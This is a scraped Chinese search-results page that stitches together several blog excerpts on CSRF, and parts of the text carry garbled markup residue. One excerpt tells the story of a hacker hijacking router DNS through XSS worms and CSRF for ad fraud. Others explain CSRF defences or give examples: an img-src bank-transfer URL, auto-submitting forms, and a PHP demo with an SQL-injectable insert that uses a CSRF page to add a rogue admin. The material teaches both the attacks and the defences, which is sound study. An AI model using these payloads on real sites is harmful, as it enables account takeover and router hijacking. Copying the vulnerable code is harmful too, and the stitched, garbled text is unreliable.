精华内容
下载资源
问答
  • 黑阔打开电脑,又开始撸起拿油腻的键盘,打开几个wvs的报告,挑出其中的命令执行,csrf,xss,还有越权访问等漏洞进行分类,并标记是否可控,还把每个功能post,get的包进行整理。 就这样。。。一个通用的路由漏洞库...

    黄小昏 · 2013/10/31 12:13

    0x00 环境分析


    近期爆出的D-link的后门让大家人心惶惶。。还好我不用D-link,这样就完事了?用户有能力补上漏洞吗,厂商能及时通知用户防止中枪吗?很显然,谁都没有做到。

    首先只要一公布xxx路由存在xxx漏洞,这就给自己的公司抹黑,首先用户不会升级(能正常上网谁这么无聊去更新路由器的固件,丁丁很大?),又给公司添加了公关压力,这搁给谁谁都不会去做。

    所以我们总结成几个点:

    路由器出现漏洞后,用户不会补!厂商不想补!用户懒得补!

    0x01 漏洞从哪里来


    路由器的漏洞实在是很少。大部分都是远程命令执行和后门,xss等等,但是大牛们手中都是远程命令执行,基本覆盖X科,X为等机房常用的路油器,只需要执行几个poc,啪的一下,权限就到手了,这种场面只有在大牛的APT场面才能看到。

    但是对于那些普通的屌丝黑阔来说,我对APT不感兴趣,我更喜欢那些妹子的路由器。

    于是乎,黑阔到了电脑广场,来到路由器批发部,拿出50大洋给老板,告诉老板,我想试试你们热卖的路由器的性能。老板看在软妹币的面子上,拿了二十来款路由器给黑阔看,黑阔看到路由器就笑了,露出大金牙,操起几款wvs就是狂扫,然后按照型号仔细记录漏洞。

    就这样,这个灰阔一天花了不到200软妹币,但是记录了国内主流路由器的各种臭虫(→*→,真是个淫荡的家伙)

    0x02 邪恶力量的萌发


    那个黑阔搞完扫描后,满足的关上笔记本,路由器老板还在心中暗爽,又赚了一个傻逼的钱。。。但他不知道这才是游戏的开始。

    奔袭了一天,屌丝灰阔在路边的一个炒粉摊上坐了下来,看着周边搬砖的民工,心中总有一种亲切感,望着工头开着宝马远去的身影,黑阔决心继续努力,怒天一吼:老板,两份炒粉加肉!!!

    吃饱了以后,灰阔去到一个桌游的店里,选了一个安静的角落,为神马去桌游。。。他告诉我,桌游75软妹币6个小时,饮料无限续杯,重要的是有20M的wifi,而且那些土豪都是陪妹子玩桌游,都木有人跟他抢网速,空气又比网吧好几十倍,撸代码没思路的时候还可以看看旁边的漂亮妹子(→*→,哎。我只想说,下次请带上我!!!)

    黑阔打开电脑,又开始撸起拿油腻的键盘,打开几个wvs的报告,挑出其中的命令执行,csrf,xss,还有越权访问等漏洞进行分类,并标记是否可控,还把每个功能post,get的包进行整理。

    就这样。。。一个通用的路由漏洞库就完成的差不多了。。。

    黑阔这些漏洞放到了自己的xss的平台上,规划了几个规则。通过title来确定路由器的牌子,然后再对照型号。。。进行各种姿势的插,可控的CSRF就直接插到路由里,如果不可控就就用默认密码插进去,他告诉我...其实直接插进去的几率很小,但是通过默认密码的CSRF插进去的几率很大。。。(这里说明路由安全意识要提高,别以为你在内网就插不了。。。默认密码没改照样换个姿势插你)

    针对路由器渗透有很多种的,但平常灰阔很关心的还是DMZ和DNS。

    比如说一个通过CSRF让路由器的DMZ功能打开,把目标主机暴露于公网。。。。

    0x03 开枪不仅仅只要子弹,还需要一把枪


    上次去电脑广场花了百来大洋,让黑阔的生活有点吃紧,这几天吧他的xss平台搬到了日本一个比较高质量的vps...他怕后边扛不住大流量。。(哎,大牛果然有先见之明)

    这周黑阔省吃俭用,不去吃炒粉了。每天几个大馒头送水,终于攒下了一笔钱,在美帝租了一台服务器,花了一个晚上把服务器装成了DNS服务器,黑阔露出他的大金牙,呵呵的睡着了。

    0x04 黎明的前期永远是最寂静的


    这几天黑阔开始玩倒时差,白天睡觉,晚上开始打游戏,或者出去和基友吃烧烤,把渗透时间都换到了晚上。

    每天上网的时候,都去寻找大网站,寻找用户和网站可以交互和提交数据的地方,并记录下来。深夜的时候就开始各种bypass ,然后构造蠕虫,蠕虫里融入了黑阔的xss平台,在传播的时候不忘用力的给路由器来上一发!!!

    深夜的时候,搞运维的还在梦乡,搞开发的程序猿还在妹子床上。。。所以黑阔弄好蠕虫后先不触发,等到用户上线率比较高时,(例如早上8点到10点半,11点半到中午1点,晚上8点到10点半),就触发前几天找到的储存型的xss。

    这几天的白天黑阔也没有停下来, 四处寻找各种广告,很多人质疑他没有能力找到这么多的流量。黑阔只是呵呵一笑,默默地把单子接下。

    0x05 忽如一夜春风来,千树万树菊花开


    黑阔为了保证自己测试的可效性,直接在午夜十二点就开始部署平台了,把xss平台上的规则换成全dns劫持,主要是可控的CSRF改路由器的DNS,不可控的直接用默认密码测试。。。不同的路由器的牌子和型号对应着不同的规则。

    就这样,随着第一个看到蠕虫的人,转发了同域的蠕虫,然后感染的人呈几个倍数的增长,而中枪人的路由器都被黑阔改成了他在美帝租的那台DNS服务器上,服务器又指向广告地址。。。。

    早上10点,看着广告的PV呈几何倍数增长,黑阔又露出了他的大金牙 :D

    一个月后,黑阔开着他的超跑路过他曾经的工地,望着工头工友那熟悉的背影呵呵一笑拉风地开走了,因为黑阔的蠕虫不像白帽子装逼一样,一定要弹个窗口告诉别人我把你插了。而是在后台继续传播,这样管理员很难发现(有监控平台除外)。。。

    0x06 总结


    很多时候,路由器存在着大量的漏洞,特别是在已知目标设备下进行有计划的APT活动,例如已知目标主机是在内网,而且看见路由器是xx-link的牌子和型号,黑阔直接利用xss把路由器DMZ开启,目标主机就直接暴露在外网了。

    这些说明了神马,我们列下几点:

    1.买到的路由器一定要修改默认密码,还有默认的路由地址(比如192.168.1.1改成192.168.30.1)这样能很大程度防止CSRF。

    2.不要浏览不良网站,即使浏览那也就算了,但一定要定期检查数据有没有被恶意修改,比如说xss蠕虫。

    3.电信也为路由器做了一些拦截,只要是当电信用户的DNS指向国外服务器时,有些地区的电信就会弹窗提示dns被修改。。。这里说的只是一些地区,其他地方我不知道,网通和联通截止到写稿时貌似木有这种功能。

    4.尽量少浏览那些OOXX的网站,你懂的,因为他们赚的不只是流量钱。。。尽管还是忍不住去看的话尽量不要用IE去看。。有条件就直接把动作片下载吧。或者在虚拟机里面看。

    5.  准备双十一了,淘宝各种活动,装个杀软吧,估计黑阔们都在扩张服务器,还害怕流量过大。。。所以双十一附近要多加防范!!!

    特此声明:此故事纯属虚构,请勿用于非法用途,所造成的后果与本文作者无关。大牛莫喷

    展开全文
  • CSRF危害以及防御方法,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。什么是 CSRF在了解 CSRF 之前我们需要科普两个前提。首先是登录权限验证的方式有很多种,目前绝大多数网站采用的还是...

    本篇文章给大家带来的内容是关于CSRF是什么?CSRF的危害以及防御方法,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。

    什么是 CSRF

    在了解 CSRF 之前我们需要科普两个前提。首先是登录权限验证的方式有很多种,目前绝大多数网站采用的还是

    session 会话任务的方式。session 机制简单的来说就是服务端使用一个键值对记录登录信息,同时在 cookie 中将 session

    id(即刚才说的键)存储到 cookie 中。另外我们又知道浏览器中 HTTP(s) 请求是会自动帮我们把 cookie

    带上传给服务端的。这样在每次请求的时候通过 cookie 获取 session id,然后通过它在服务端获取登录信息即可完成用户权限的校验。

    本来这也是个不错的功能。但是由于

    cookie 实在是太开放了,如果一个用户在 A 网站登录了,如果用户在 B 网站访问的时候发送了一个 A

    网站的请求,那么这个请求其实是带有这个用户在 A 网站的登录信息的。如果这时候 B 站的 A

    网站请求是用户不知道的,那就是非常严重的危害了。以上的过程就是跨站请求攻击,即 Cross-Site Request Forgery,即

    CSRF。

    CSRF 的危害

    简单总结 CSRF 漏洞就是利用网站权限校验方面的漏洞在用户不知觉的情况下发送请求,达到“伪装”用户的目的。攻击者利用 CSRF 实现的攻击主要有以下几种:

    攻击者能够欺骗受害用户完成该受害者所允许的任一状态改变的操作,比如:更新账号细节,完成购物,注销甚至登录等操作

    获取用户的隐私数据

    配合其他漏洞攻击

    CSRF 蠕虫

    其中

    CSRF 蠕虫如其名所指就是产生蠕虫效果,会将 CSRF

    攻击一传十,十传百。如:某社区私信好友的接口和获取好友列表的接口都存在CSRF漏洞,攻击者就可以将其组合成一个CSRF蠕虫——当一个用户访问恶意页面后通过CSRF获取其好友列表信息,然后再利用私信好友的CSRF漏洞给其每个好友发送一条指向恶意页面的信息,只要有人查看这个信息里的链接,CSRF蠕虫就会不断传播下去,其可能造成的危害和影响非常巨大!

    防御方法

    从上文的描述中我们可以知道 CSRF 有两个特点:利用 cookie 自动携带的特性以及跨站攻击。那么针对这两个特性可以使用如下解决方法。

    检查 Referer 字段

    大家都知道 HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪个地址。通过在网站中校验请求的该字段,我们能知道请求是否是从本站发出的。我们可以拒绝一切非本站发出的请求,这样避免了 CSRF 的跨站特性。const { parse } = require('url');module.exports = class extends think.Logic {

    indexAction() {

    const referrer = this.ctx.referrer();

    const {host: referrerHost} = parse(referrer);

    if(referrerHost !== 'xxx') {

    return this.fail('REFERRER_ERROR');

    }

    }}

    同样以 ThinkJS 为例,只要在 Logic 中简单判断下即可。这种方式利用了客户端无法构造 Referrer 的特性,虽然简单,不过当网站域名有多个,或者经常变换域名的时候会变得非常的麻烦,同时也具有一定的局限性。

    Token 验证

    由于 CSRF 是利用了浏览器自动传递 cookie 的特性,另外一个防御思路就是校验信息不通过 cookie 传递,在其他参数中增加随机加密串进行校验。这里又有两种办法:

    随机字符串:为每一个提交增加一个随机串参数,该参数服务端通过页面下发,每次请求的时候补充到提交参数中,服务端通过校验该参数是否一致来判断是否是用户请求。由于 CSRF 攻击中攻击者是无从事先得知该随机字符串的值,所以服务端就可以通过校验该值拒绝可以请求。

    JWT:实际上除了

    session 登录之外,现在越来越流行 JWT token 登录校验。该方式是在前端记录登录 token,每次请求的时候通过在 Header

    中添加认证头的方式来实现登录校验过程。由于 CSRF 攻击中攻击者无法知道该 token 值,通过这种方式也是可以防止 CSRF 攻击的。当然

    token 登录方式除了 JWT 之外还有 OAuth 等很多种方式。

    展开全文
  • CSRF技巧拓展】————1、用代码来细说Csrf漏洞危害以及防御.pdf
  • 常见的利用方式是如何的,今天作为“安全相关 | Security”分类的第一篇文章,我按照自己的理解告诉你,不要低估了CSRF危害性和攻击能力。 一、什么是CSRF 先看看CSRF的原文说明,如下: Cross
    摘要
    CSRF这种攻击方式虽然提出来很久(在2006年的时候就有了)了,但是这个沉睡的攻击巨人直到前不久才逐渐走入我们的视线,到底CSRF是啥,危害到底有多大?常见的利用方式是如何的,今天作为“安全相关 | Security”分类的第一篇文章,我按照自己的理解告诉你,不要低估了CSRF危害性和攻击能力。

    一、什么是CSRF

    先看看CSRF的原文说明,如下:
    Cross Site Reference Forgery works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.

    二、CSRF案例说明和分析

    自然,这里拿Rails程序来举例子说明这些问题,大家知道Rails2之前是把session放在服务器端(文件或者DB或者缓存中),客户但在 cookie中保存sessionid;而到了Rails2后,还有一种方式是把session放在基于cookie的客户端中。当然这两样都各有道理, 各有优劣,不在我们这次说的范围之内。我们继续说,当我们向一个域名发送一个请求的时候,如果本店存在这个域名的cookie,浏览器会自动的把 cookie附带上。这样本来没有啥问题,也是我们为了解决http无状态记录的解决方案,但是有个问题出现了,如果出现一个到其他域名的请求,浏览区在 加载的时候,也把cookie给带上了,会有什么问题?我们举个简单的也很常见的例子来说明这个问题。

    -----------------------------案例------------------------------
    1、Bob在自己的电脑上刚刚查看完自己的银行A账户余额,然后比较无聊就跑到一个公开的BBS上灌水,当他看到一篇“银行A的内部照片”的帖子,很有兴趣的打开这个帖子想看看自己信任的银行A的内部图片是啥样子的,殊不知,这其实是一个attacker精心设计的骗局。
    2、在这个帖子中确实有几个图片,看上去真的像是银行A的照片,但是其中有个图片没显示出来,Bob以为是自己网速太慢,导致这个图片没有加载进来,也没在意。只是对这些并不是十分满意的照片摇摇头,就关了这个帖子。
    3、几天后,Bob猛然发现自己在银行A的账户上少了1000元,到底是怎么了?

    分析:
    为什么钱少了呢?我们得分析一下上面这个案例,好记得当时Bob说有个图片没显示么,是的,我们来看看这个图片的地址,惊奇的发现是:

    <img .src="http://www.banka.com/transfer?account=myself&amount=1000&destination=attacker;">

    这是一个什么地址?聪明的您一定很快就能明白,这个地址是邪恶的,看上去,他的意思是打开这个地址的人,给attacker转了1000元。
    这怎么可能?你肯定急了,我怎么能随便给一个人转1000元呢,而且我都不知道呀!但是,注意了,这其实是完全有可能的。还记得当时Bob刚刚查看完整及的帐号信息,基于银行A的cookie并不过期,当出现如上链接出现在src的时候(note that .src is meant to be src),浏览器尝试着按照本地的cookie去加载上面这个URL,而银行A验证了来源请求的cookie是可以的,所以就这样事情就悄悄的发生了。
    -------------------------------案例结束---------------------------

    ok,看明白了么,这就是CSRF,一句话给他下个定义就是:借你的cookie在你不知道的时候悄悄的做了一些你不愿意做 的事情。恶日期这里有个更要命的是,这个包含上述URL的图片或者链接,并不需要一定是放在银行A的服务器上,相反可以在任一地方,比如blog,公开的 BBS,或者一些群发的Mail中等等,如此多的场合下,这些都有可能存在陷阱。
    再看一副图片吧,其说明的正是CSRF的攻击原理。

    三、CSRF的预防

    看上去很恐怖吧,是的,确实恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。
    总体来说,预防CSRF主要从2个方面入手,分别是:
    1、正确使用GET,POST和Cookie;
    2、在non-GET请求中使用Security token;

    一般上,大家知道的浏览器发送请求的方式有GET或者POST,但是还有一种比较常用的是Cookie,至于其他的HTTP协议请求方式,你可以google,一般按照W3C的规范:
    1、GET常用在查看,列举,展示的时候;
    2、POST常用在下达订单,改变一个资源的属性或者做其他一些事情

    ok,我们这里拿Rails按照前面列举的2种预防手段做说明,首先,我们可以在Rails的控制权中(controller)将一些方法(action)限定(verify)为只能使用POST或者GET,例如:
    ruby
    verify :method => :post, :only => [ :transfer ], :redirect_to => { :action => :list } 

    恩,很好,这样做下限制以后,前面案例中的方法就失效了,因为这里我们限定了transfer 必须使用POST来提交请求,当GET请求来的时候并不会被响应。
    万事大吉了?NO!因为POST的请求也是可以被构造出来后自动发送的,如何实现,看下面吧,你肯定会吃惊的。

    <a .href="http://www.1sters.com/" onclick="var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy f.submit();return false';;">点我试试</a>

    是的,这就是一个活生生的例子(.href is meant to be href),使用link的href或者img的src都可以的,再想想一个Attacher放了一个图片,然后写了一个onmouseover方法,执行上述的那段JS,如下,或者使用AJAX。

    <img .src="http://www.harmless.com/img" width="400" height="400" onmouseover="…" />

    所以,限定为POST后还不是非常的保险,怎么办?不急,我们还有第二步,给non-GET的请求设置 security token,如何实现,在Rails2以后非常简单(也是默认的),我们只需要在environment.rb中添加如下代码:

    config.action_controller.session = {  
      :session_key => '_csrf_session',  
      :secret      => 'ae4b43dda38ff78bb50898b2935da76d1e224061ab72a9399d34cea4c6178eee6dae815fff920a20642f27abda83b793da4e9b6cf20c4838805e80abf53e318a'  }

    然后在application controller中包含如下security token设置:

    protect_from_forgery  :secret => '053cef294a333f72c3584311799c69d2'

    ok,基本上安全了,如果这时POST请求过去,但是security token和session计算出来的secret和服务端的secret匹配不上的话,就会返回一个ActionController::InvalidAuthenticityToken错误,防止该类缺陷的出现。
    安全了,也许你要说,那我如果能破解出protect_from_forgery,不进OK了么,按照理论上是,但是实际是破解是基本上不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间,后续我将再写一篇文章详细的介绍,这里不再赘述。

    四、总结

    总的来说,CSRF的兴起刚刚开始,网络上肯定会有一股热潮,Railser们一定要注意自己的程序的安全性,CSRF比你我能想到的更有威胁,千万别小瞧了它。

    作者: Iceskysl 
    原文地址: CSRF: 不要低估了我的危害和攻击能力


    展开全文
  • 0x01 CSRF介绍: CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本XSS,但它与XSS非常...

    0x01 CSRF介绍:

    CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

    0x02 CSRF环境搭建:

    环境搭建嘛,肯定要PHP的咯,不过别担心,这不有俺在嘛 我给你尝尝代码的味道。
    CSRF测试代码:

    <?php
    header("Content-Type:text/html;charset=utf-8");
    if(isset($_POST['sub'])){
            $username = $_POST['username'];
            $password = $_POST['password'];
            $conn = mysql_connect("localhost","root","root");
            $db=mysql_select_db("test");
            $query = mysql_query("SET NAMES 'gbk'");
            $sql="INSERT INTO `adminsql` (`id` ,`username` ,`password`)VALUES (13 , '$username' , '$password')";
            $row=mysql_query($sql); //执行sql插入语句
            $sql="SELECT * FROM adminsql";
            if($row=mysql_query($sql)){
                    while($rows = mysql_fetch_array($row)){
                    echo "user:{$rows['username']}-----pass:{$rows['password']}"."<br/>";
            }
     
    }
    }
    ?>
     
    <!DOCTYPE html>
    <html>
    <head>
            <title>CSRF利用场所</title>
    </head>
    <body>
    <b><h2>CSRF测试环境</h2></b>
    <form action="" method="post">
            <b>user:<input type="text" name="username" /></b>
            <b>pass:<input type="password" name="password" /></b>
            <input type="submit" value="Ok" name="sub" />
    </form>
    </body>
    </html>
    

    0x03 代码解释:

    代码:  <?php ?>  开始和结束 没一门编程语言都有       
    代码:   header("Content-Type:text/html;charset=utf-8");  将页面的编码设置为UTF-8
    代码:  

    if(isset($_POST['sub'])){ 
                         $username = $_POST['username'];
                         $password = $_POST['password'];

    解释:

    代码:
    没错 又到了这里 看过我的细说SQL注入的就知道 我解释过一遍了 没看过那篇帖子的也没事哈 我再解释一遍。

    $conn = mysql_connect("localhost","root","root");    //连接数据库  mysql_connect("HOST你的网站","你数据库账号","你数据库密码"); 赋值给$conn变量 
     
    $db=mysql_select_db("test");     //mysql_select_db("test");  mysql_select_db()函数是设置数据库, 第一个参数是你数据库名 注意: 是数据库名 不是表名!   
     
     
    $query = mysql_query("SET NAMES 'gbk'");  //mysql_query()函数是执行一条sql语句 他这里是设置数据库字符编码为gbk
     
     
    $sql="INSERT INTO `adminsql` (`id` ,`username` ,`password`)VALUES (13 , '$username' , '$password')";  //SQL语句 INSERT INTO(插入)  INSERT INTO 后       面的反引号是你的数据表名 就是数据库test下的表

    再后面的括号(`id`,`username`,`password`); 这里是数据表里面的值 我有三个字段表  分别是id、usernam、 password这三个  
    后面的VALUES (13 , '$username' , '$password')";  //第一个参数是id 我没设置那个自增长ID(详情:http://jingyan.baidu.com/article/fcb5aff7b3a025edaa4a7130.html)   
    在后面的就懂了吧 就是我前面吧HTML表单的值赋值给那个变量:

    $username =      $_POST['username'];
          $password = $_POST['password'];

    懂我意思了吧 嘻嘻  就是啊 你单击提交的数据 会插入到数据库的深处

    代码:

    $sql="SELECT * FROM adminsql";   //SELECT(查询) from要查询的表 adminsql
            if($row=mysql_query($sql)){  //判断sql语句是否执行了
                    while($rows = mysql_fetch_array($row)){   //执行就把数据库里面的数据表里面的所有字段表用while循环取出来
                    echo "user:{$rows['username']}-----pass:{$rows['password']}"."<br/>";  //echo 输出到页面上  前面的mysql_fetch_array()函数是一行一行获取         值  他吧值赋给了$rows变量 这个函数获取到的值全是array数组 所以要 $rows['username']; 这样取值 输出  
            }

    我把数据库发给你们吧

    [table=98%,none]
    [tr=none ][td][align=right][align=right][size=1em]1[/align]
    [align=right][size=1em]2[/align]
    [align=right][size=1em]3[/align]
    [align=right][size=1em]4[/align]
    [align=right][size=1em]5[/align]
    [align=right][size=1em]6[/align]
    [align=right][size=1em]7[/align]
    [align=right][size=1em]8[/align]
    [align=right][size=1em]9[/align]
    [align=right][size=1em]10[/align]
    [align=right][size=1em]11[/align]
    [align=right][size=1em]12[/align]
    [align=right][size=1em]13[/align]
    [align=right][size=1em]14[/align]
    [align=right][size=1em]15[/align]
    [align=right][size=1em]16[/align]
    [align=right][size=1em]17[/align]
    [align=right][size=1em]18[/align]
    [align=right][size=1em]19[/align]
    [align=right][size=1em]20[/align]
    [align=right][size=1em]21[/align]
    [align=right][size=1em]22[/align]
    [align=right][size=1em]23[/align]
    [align=right][size=1em]24[/align]
    [align=right][size=1em]25[/align]
    [align=right][size=1em]26[/align]
    [align=right][size=1em]27[/align]
    [align=right][size=1em]28[/align]
    [align=right][size=1em]29[/align]
    [align=right][size=1em]30[/align]
    [align=right][size=1em]31[/align]
    [align=right][size=1em]32[/align]
    [align=right][size=1em]33[/align]
    [align=right][size=1em]34[/align]
    [align=right][size=1em]35[/align]
    [align=right][size=1em]36[/align]
    [align=right][size=1em]37[/align]
    [align=right][size=1em]38[/align]
    [align=right][size=1em]39[/align]
    [align=right][size=1em]40[/align]
    [align=right][size=1em]41[/align]
    [align=right][size=1em]42[/align]
    [align=right][size=1em]43[/align]
    [align=right][size=1em]44[/align]
    [align=right][size=1em]45[/align]
    [align=right][size=1em]46[/align]
    [align=right][size=1em]47[/align]
    [align=right][size=1em]48[/align]
    [/align][/td][td][align=right][size=1em][size=1em]-- phpMyAdmin SQL Dump
    [size=1em]-- version phpStudy 2014
    [size=1em]-- [url]http://www.phpmyadmin.net[/url]
    [size=1em]--
    [size=1em]-- 主机: localhost
    [size=1em]-- 生成日期: 2017 年 06 月 23 日 21:14
    [size=1em]-- 服务器版本: 5.5.53
    [size=1em]-- PHP 版本: 5.3.29
     
    [size=1em]SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
    [size=1em]SET time_zone = "+00:00";
     
     
    [size=1em]/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
    [size=1em]/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
    [size=1em]/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
    [size=1em]/*!40101 SET NAMES utf8 */;
     
    [size=1em]--
    [size=1em]-- 数据库: `test`
    [size=1em]--
     
    [size=1em]-- --------------------------------------------------------
     
    [size=1em]--
    [size=1em]-- 表的结构 `adminsql`
    [size=1em]--
     
    [size=1em]CREATE TABLE IF NOT EXISTS `adminsql` (
    [size=1em]  `id` int(11) NOT NULL,
    [size=1em]  `username` varchar(32) NOT NULL,
    [size=1em]  `password` varchar(32) NOT NULL
    [size=1em]) ENGINE=InnoDB DEFAULT CHARSET=utf8;
     
    [size=1em]--
    [size=1em]-- 转存表中的数据 `adminsql`
    [size=1em]--
     
    [size=1em]INSERT INTO `adminsql` (`id`, `username`, `password`) VALUES
    [size=1em](1, 'aaaa', ''),
    [size=1em](1, 'aaaa', ''),
    [size=1em](1, 'aaaa', 'xss'),
    [size=1em](1, 'aaaa', 'xss'),
    [size=1em](1, 'csrf', 'csrf');
     
    [size=1em]/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
    [size=1em]/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
    [size=1em]/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
     
    [/align][/td][/tr]
    [/table]

    在mysql的SQL哪里 插入这些代码 然后执行即可

    0x04 正题:

    好了 有了环境 我们就更方便测试了 访问代码页:

    构建环境:

    ok,假设我现在是一枚网站管理员 现在localhost是我网站 localhost/php/xss/fanshexing.php 是我后台 现在我的同伴他说想帮我管理我的后台 我就把他创建了一个用户 用户名为(escape) 密码为(admin888)

    点击ok 提交数据

    escape是我同伴的号 不过在此之前有一个黑客发现我的后台没有用token令牌 存在csrf漏洞 于是他就构造了一个html的文件
    代码如下:

    <script>
    function s(){
            document.getElementById('fuck').submit();  //这里是javascript的代码(详情:[url]http://www.jquerycn.cn/a_10756[/url])
    }
    </script>
    <body onload=s()>
    <form action="http://localhost/php/xss/fanshexing.php" method="post" id="fuck">
        <input type='hidden' name="username" value="heike">
        <input type='hidden' name="password" value="888888">
        <input type='hidden' name="sub" value="123456">
    </form>
    </body>

    构建环境:

    攻击者视角:我现在的身份是一枚"非法用户" 我现在要去拿这个构造的页面发给笨蛋管理员,假设现在我发送QQ邮件给管理员发了个文件 就是我构造的页面 发给了他
    如果管理员打开了 就会自动提交

    <input type='hidden' name="username" value="heike">   用户
    <input type='hidden' name="password" value="888888">  密码

    OK  到了管理员视角:
    管理员:嘿 escape伙伴 快来瞧瞧 是一个html的文件 是一位叫构造者发给我们的 我们瞧瞧
    escape:OK瞧瞧看
    点击。。。

    当然 这些用户是我从数据库取出来的 在项目中可不会这样 所以说 笨蛋管理员还不知道 我已经在他的后台构造了一个我的用户

    0x05 如何构造一个添加管理员的页面?

    前面的构造页面太多的代码了 难道我需要全部背下来吗??当然不需要 下来我来教大家怎么构造一个CSRF的添加管理员页面
    1、打开burpsuite神器

    OK 打开后要代理服务端才能收到请求的数据

    2、代理服务器
    在burpsuite的主页面中的proxy里的Options


    我用的是2345浏览器在工具哪里可以设置代理服务器

    点击进入Internet后 点击连接

    局域网设置

    在我下面图画箭头的地方打钩,点击确定即可

    3、开始构造
    打开我们的管理员后台,查看后台现在有几个管理用户:

    环境构造:
    ok 现在我是一名"非法用户" 我发现了这个网站的后台登录地址 而且发现了木有存在token验证
    我首先打开了他们的管理员登录的人口地方

    user:test  pass:test   开启浏览器服务器代理

    开启burpsuite

    代理好了服务器 开启了burpsuite 就点击ok

    OK 接受到了 右击burpsuite界面  Engagement tooles 里面的 Generrate CSRFPoC

    可以看到 他已经自己给你构造了一个页面:

    复制代码 创建一个HTML文件

    如果想修改账号 就吧 <input type="hidden" name="username" value="test" />  value="账号在这里 可以随便修改其他的 这里我就修改为test1"
    OK了 Ctrl+s 就可以保存了
    查询一下 现在有用户:
    有三个用户 我们把这个文件发给管理员
    环境构造:我现在又是管理员了 我打开了这个文件 并且在我没有退出登录和销毁cookie的情况下 打开了这个文件

    点击提交,添加成功:

    根据以上流程 我写下了一个具体的流程图:

     

    到了这里 恐怕有很多人会问我 怎么去看这些漏洞是否存在?
    答:你要是单单只是看看漏洞是否存在 可以看cookie或者post包中有没有token这种东西 如果存在token那就不能利用了 token就是个验证的玩意 只有服务器和后台有 所以你burpsuite是搜不到的

    0x06 CSRF的检测以及防御

    CSRF出现的地方通常在权限控制的地方 如会员中心、后台管理、用户注册、发布帖子、用户后台处、交易管理处这几个地方
    防御就是开启token验证 token验证能干什么?你开启了token验证后 客服端请求的值必须和服务端的值相同 不能进行修改 这样你burpsuite就不能在改了 就彻底防御了这个漏洞

    也可以看看cookie或者post包中有没有token这种东西

    转自:https://bbs.ichunqiu.com/thread-24127-1-1.html?from=sec

    展开全文
  • 1.csrf(用户请求伪造) 1.1原理:(攻击者知道重要操作的所有参数)当A用户使用浏览器访问一个带有csrf...1.2危害:以受害者名义发送邮件,发消息,盗取受害者的账号,甚至购买商品,虚拟货币转账,修改受害者的网络...
  • 0x01 CSRF介绍:CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本XSS,但它与XSS非常不同...
  • CSRF学习

    2021-03-22 10:57:12
    CSRF漏洞简介 csrf跨站请求伪造,是一种挟持用户在当前已进登录的WEB应用程序上执行非本意的操作的攻击方式。 与跨站脚本(XSS)相比,XSS利用的是用户对于网站的信任,CSRF利用的是网站对用户网页浏览器的...CSRF危害
  • CSRF

    2020-12-26 16:41:43
    CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,可以这样来理解: 攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所...
  • csrf

    2017-06-13 20:59:26
    一.CSRF攻击是什么CSRF(Cross-site request ...危害黑客盗用用户的身份,以用户的名义发送恶意请求。CSRF攻击后果包括且不局限于发送恶意邮件、消息,盗取账号,甚至虚拟货币转账,透支账户……威胁个人隐私泄露以及
  • CSRF 跨站请求伪造

    2020-12-29 23:18:07
    文章目录CSRF 跨站请求伪造一、CSRF原理二、CSRF分类Get型Post型链接类型三、CSRF危害四、防御手段五、CSRF与XSS的区别CSRF本地漏洞复现一、有token复现失败的情况二、漏洞存在-csrf成功复现 CSRF 跨站请求伪造 一、...
  • CSRF跨站请求伪造

    2020-04-18 16:09:38
    CSRF危害最大化 一、CSRF简介 CSRF(Cross Site Request Forgery),中文是跨站点请求伪造。CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,260
精华内容 1,704
关键字:

csrf危害